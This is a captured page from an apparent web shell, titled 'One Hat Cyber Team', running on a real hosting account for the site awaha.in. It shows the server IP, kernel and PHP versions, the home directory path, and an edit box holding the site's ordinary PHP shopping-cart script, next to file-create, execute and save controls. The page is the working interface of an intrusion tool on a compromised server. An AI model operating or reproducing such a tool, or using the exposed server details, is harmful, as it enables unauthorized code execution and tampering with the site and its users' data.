One Hat Cyber Team
Your IP :
216.73.216.186
Server IP :
91.108.106.45
Server :
Linux in-mum-web1837.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
Server Software :
LiteSpeed
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
u322583024
/
domains
/
awaha.in
/
public_html
/
Edit File:
add-to-cart1.php
<?php session_name('vaishnavi_awaha'); session_start(); header('Content-Type: application/json'); include 'admin/connection.inc.php'; if (!$conn) { echo json_encode(['success' => false, 'message' => 'Database connection failed']); exit; } // Get and decode JSON input $input = file_get_contents("php://input"); $data = json_decode($input, true); $product_id = isset($data['product_id']) ? intval($data['product_id']) : null; $quantity = isset($data['quantity']) ? intval($data['quantity']) : 1; if (!$product_id) { echo json_encode(['success' => false, 'message' => 'Product ID is missing']); exit; } // Check if user is logged in if (!isset($_SESSION['user_id'])) { echo json_encode(['redirect' => true, 'message' => 'User not logged in']); exit; } $user_id = intval($_SESSION['user_id']); // Check if the product exists in the cart (even if soft-deleted) $checkStmt = $conn->prepare(" SELECT id, deleted_at, quantity FROM cart1 WHERE user_id = ? AND product_id = ? "); if (!$checkStmt) { echo json_encode(['success' => false, 'message' => 'Query preparation failed: ' . $conn->error]); exit; } $checkStmt->bind_param('ii', $user_id, $product_id); $checkStmt->execute(); $result = $checkStmt->get_result(); $existingCartItem = $result->fetch_assoc(); $checkStmt->close(); if ($existingCartItem) { if ($existingCartItem['deleted_at'] === null) { // Update existing cart1 item if it's not soft-deleted $updateStmt = $conn->prepare(" UPDATE cart1 SET quantity = quantity + ?, added_on = NOW() WHERE id = ? "); if ($updateStmt) { $updateStmt->bind_param('ii', $quantity, $existingCartItem['id']); if ($updateStmt->execute()) { echo json_encode(['success' => true, 'message' => 'Cart updated successfully']); } else { echo json_encode(['success' => false, 'message' => 'Error updating cart: ' . $updateStmt->error]); } $updateStmt->close(); } else { echo json_encode(['success' => false, 'message' => 'Query preparation failed: ' . $conn->error]); } } else { // Reactivate the item by clearing the deleted_at field and updating quantity $newQuantity = $existingCartItem['quantity'] + $quantity; $reactivateStmt = $conn->prepare(" UPDATE cart1 SET deleted_at = NULL, quantity = ?, added_on = NOW() WHERE id = ? "); if ($reactivateStmt) { $reactivateStmt->bind_param('ii', $newQuantity, $existingCartItem['id']); if ($reactivateStmt->execute()) { echo json_encode(['success' => true, 'message' => 'Cart item reactivated and updated']); } else { echo json_encode(['success' => false, 'message' => 'Error reactivating cart item: ' . $reactivateStmt->error]); } $reactivateStmt->close(); } else { echo json_encode(['success' => false, 'message' => 'Query preparation failed: ' . $conn->error]); } } } else { // No existing cart1 item, create a new entry $insertStmt = $conn->prepare(" INSERT INTO cart1 (user_id, product_id, quantity, added_on) VALUES (?, ?, ?, NOW()) "); if ($insertStmt) { $insertStmt->bind_param('iii', $user_id, $product_id, $quantity); if ($insertStmt->execute()) { echo json_encode(['success' => true, 'message' => 'Item added to cart']); } else { echo json_encode(['success' => false, 'message' => 'Error adding to cart: ' . $insertStmt->error]); } $insertStmt->close(); } else { echo json_encode(['success' => false, 'message' => 'Query preparation failed: ' . $conn->error]); } } $conn->close(); ?>
Simpan